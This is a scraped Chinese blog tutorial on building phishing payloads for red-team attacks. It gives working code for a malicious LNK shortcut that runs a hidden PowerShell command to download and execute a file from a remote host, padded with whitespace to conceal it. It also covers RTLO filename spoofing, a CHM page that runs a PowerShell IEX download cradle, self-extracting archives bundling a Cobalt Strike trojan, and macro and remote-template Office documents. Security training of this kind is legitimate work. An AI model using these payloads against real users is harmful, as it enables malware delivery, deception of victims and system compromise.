4

干货 | 邮件钓鱼攻击学习

 3 years ago
source link: https://www.heibai.org/post/2011.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

干货 | 邮件钓鱼攻击学习

桑云信息Lzers 2021-07-27 安全文摘钓鱼攻击

乐山桑云信息技术有限公司(www.sangyun.net)专注于企业安全与网站、小程序、APP架设,为企业客户提供一站式解决方案,帮助企业快速实现互联网+转型。

在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式,由于本人只是个安服仔,接触的比较少(但也不能不学),就有了这篇文章,参考各位大佬的姿势总结一下,顺便让好哥哥们复习一下基础。

Lnk(快捷方式)

可以在“⽬标”栏写⼊⾃⼰的恶意命令,如powershell上线命令等,这里举例为CMD

20210727222308162739578898879.jpg

当我点击谷歌浏览器时,弹出了CMD

20210727222309162739578998769.jpg

可以进行更改图标

20210727222310162739579085229.jpg

快速生成lnk样本

ActionScript
$WshShell = New-Object \-comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\\System32\\Shell32.dll,21"  
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\\\ascotbe.exe');&cmd /c .\\\\ascotbe.exe"  
$Shortcut.Save()
ActionScript
powershell -ExecutionPolicy RemoteSigned -file test.ps1


20210727222315162739579577451.jpg

目标文件位置所能显示最大字符串为260个,所有我们可以把执行的命令放在260个字符后面

ActionScript
$file = Get-Content ".\\test.txt"  
$WshShell = New-Object \-comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\\System32\\Shell32.dll,21"  
$Shortcut.Arguments = '                                                                                                                                                                                                                                      '\+ $file  
$Shortcut.Save()

文件后缀RTLO

他会让字符串倒着编码

20210727222317162739579773634.jpg

用Python一键生成用,把txt改为png后缀

ActionScript
import os  
os.rename('test.txt', 'test-\\u202egnp.txt')
import os
os.rename('cmd.exe', u'no\\u202eFDP.exe')

CHM文档

创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。然后先将下列代码复制到根文件夹中的index.html中

20210727222319162739579962549.jpg

在index.html文件中编辑

ActionScript
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',calc.exe'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

使用cs生成修改模版中的calc.exe

ActionScript
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=",powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.100:81/a'))">
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

使用EasyCHM编译

20210727222320162739580072285.jpg

原有模版CMD

20210727222322162739580292587.jpg20210727222325162739580586481.jpg

使用CS生成木马

20210727222327162739580720942.jpg

创建自解压文件

20210727222328162739580880132.jpg

高级自解压选项

20210727222329162739580978754.jpg

解压路径-绝对路径

20210727222330162739581047991.jpg

提取后运行

20210727222331162739581126965.jpg20210727222332162739581232536.jpg20210727222332162739581226826.jpg

修改文件名

20210727222334162739581464547.jpg

ResourceHacker

20210727222336162739581654194.jpg

打开flash安装文件导出资源

20210727222337162739581761780.jpg

替换资源文件

20210727222338162739581834814.jpg20210727222339162739581914339.jpg20210727222340162739582025606.jpg20210727222341162739582173704.jpg

office宏

新建word,创建宏

20210727222342162739582276307.jpg

cs生成宏粘贴

20210727222344162739582445459.jpg

20210727222347162739582795250.jpg

保存为启用宏的文档

20210727222347162739582726555.jpg

打开文档上线

20210727222349162739582974312.jpg

编写一个带有宏代码的DOTM文档,并启用一个http服务将DOTM放置于web下

20210727222351162739583182374.jpg20210727222353162739583367553.jpg

20210727222354162739583471927.jpg

新建一个任意的模版的docx文档并且解压

20210727222356162739583694375.jpg20210727222358162739583843668.jpg

编辑settings.xml.rels文件中的Target为我们第一个DOTM的http地址

20210727222359162739583985036.jpg

重新压缩改后缀名为.docx

20210727222400162739584015929.jpg

模拟点击上线

20210727222402162739584279983.jpg

https://www.ascotbe.com/2020/07/26/office_0x01/#LNK%E9%92%93%E9%B1%BC

https://paper.seebug.org/1329/

利用winrar自解压捆版payload制作免杀钓鱼木马[1]

References

[1] 利用winrar自解压捆版payload制作免杀钓鱼木马: https://www.baikesec.com/webstudy/still/77.html


文章来源微信公众号:Chabug


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK